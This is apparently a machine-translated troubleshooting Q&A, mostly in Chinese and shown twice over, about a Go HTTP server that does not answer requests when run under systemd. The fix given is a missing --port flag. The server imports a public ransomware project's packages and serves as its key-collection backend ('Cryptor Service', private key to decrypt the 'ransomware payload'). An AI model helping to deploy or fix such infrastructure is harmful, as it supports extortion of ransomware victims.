程序 运行 因为 systemd 服务拒绝连接
Program running as systemd service refuses connection
我有一个响应 HTTP 请求并与一些文件交互的 go 脚本。当我从命令行 运行 它工作得很好但是当 运行 作为通过 systemd 的服务时它不响应请求。
这是在 CentOS 8 VM 上 运行ning。
脚本是 compiled/built 使用 go build --ldflags "-s -w"
我已经禁用了 SELinux,所以这不是问题所在。
这是 Go 代码:
package main
import (
"flag"
"fmt"
"log"
"io/ioutil"
"github.com/labstack/echo/engine"
"github.com/labstack/echo/engine/standard"
"github.com/labstack/echo/middleware"
"github.com/mauri870/ransomware/repository"
"github.com/mauri870/ransomware/web"
)
var (
// BoltDB database to store the keys
// Will be create if not exists
database = "database.db"
// Private key used to decrypt the ransomware payload
privateKey = "private.pem"
)
func main() {
port := flag.Int("port", 8080, "The port to listen on")
flag.Parse()
privkey, err := ioutil.ReadFile(privateKey)
if err != nil {
log.Fatalln(err)
}
db := repository.Open(database)
defer db.Close()
e := web.NewEngine()
e.PrivateKey = privkey
e.Database = db
e.GET("/", e.Index)
e.Use(middleware.Logger())
e.Use(middleware.Recover())
api := e.Group("/api", middleware.CORS())
api.POST("/keys/add", e.AddKeys, e.DecryptPayloadMiddleware)
api.GET("/keys/:id", e.GetEncryptionKey)
log.Fatal(e.Run(standard.WithConfig(engine.Config{
Address: fmt.Sprintf(":%d", *port),
})))
}
这是服务:
[Unit]
Description=Cryptor Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
WorkingDirectory=/RanServer
ExecStart=/RanServer/server
[Install]
WantedBy=multi-user.target
这是服务状态:
● cryptor.service - Cryptor Service
Loaded: loaded (/etc/systemd/system/cryptor.service; enabled; vendor preset: disabled)
Active: active (running) since Thu 2020-04-30 10:36:19 EDT; 6min ago
Main PID: 3232 (server)
Tasks: 6 (limit: 26213)
Memory: 8.7M
CGroup: /system.slice/cryptor.service
└─3232 /RanServer/server
我忘记将 --port 8069 添加到服务的 ExecStart 行。
添加后一切开始工作。
我有一个响应 HTTP 请求并与一些文件交互的 go 脚本。当我从命令行 运行 它工作得很好但是当 运行 作为通过 systemd 的服务时它不响应请求。
这是在 CentOS 8 VM 上 运行ning。
脚本是 compiled/built 使用 go build --ldflags "-s -w"
我已经禁用了 SELinux,所以这不是问题所在。
这是 Go 代码:
package main
import (
"flag"
"fmt"
"log"
"io/ioutil"
"github.com/labstack/echo/engine"
"github.com/labstack/echo/engine/standard"
"github.com/labstack/echo/middleware"
"github.com/mauri870/ransomware/repository"
"github.com/mauri870/ransomware/web"
)
var (
// BoltDB database to store the keys
// Will be create if not exists
database = "database.db"
// Private key used to decrypt the ransomware payload
privateKey = "private.pem"
)
func main() {
port := flag.Int("port", 8080, "The port to listen on")
flag.Parse()
privkey, err := ioutil.ReadFile(privateKey)
if err != nil {
log.Fatalln(err)
}
db := repository.Open(database)
defer db.Close()
e := web.NewEngine()
e.PrivateKey = privkey
e.Database = db
e.GET("/", e.Index)
e.Use(middleware.Logger())
e.Use(middleware.Recover())
api := e.Group("/api", middleware.CORS())
api.POST("/keys/add", e.AddKeys, e.DecryptPayloadMiddleware)
api.GET("/keys/:id", e.GetEncryptionKey)
log.Fatal(e.Run(standard.WithConfig(engine.Config{
Address: fmt.Sprintf(":%d", *port),
})))
}
这是服务:
[Unit]
Description=Cryptor Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
WorkingDirectory=/RanServer
ExecStart=/RanServer/server
[Install]
WantedBy=multi-user.target
这是服务状态:
● cryptor.service - Cryptor Service
Loaded: loaded (/etc/systemd/system/cryptor.service; enabled; vendor preset: disabled)
Active: active (running) since Thu 2020-04-30 10:36:19 EDT; 6min ago
Main PID: 3232 (server)
Tasks: 6 (limit: 26213)
Memory: 8.7M
CGroup: /system.slice/cryptor.service
└─3232 /RanServer/server
我忘记将 --port 8069 添加到服务的 ExecStart 行。
添加后一切开始工作。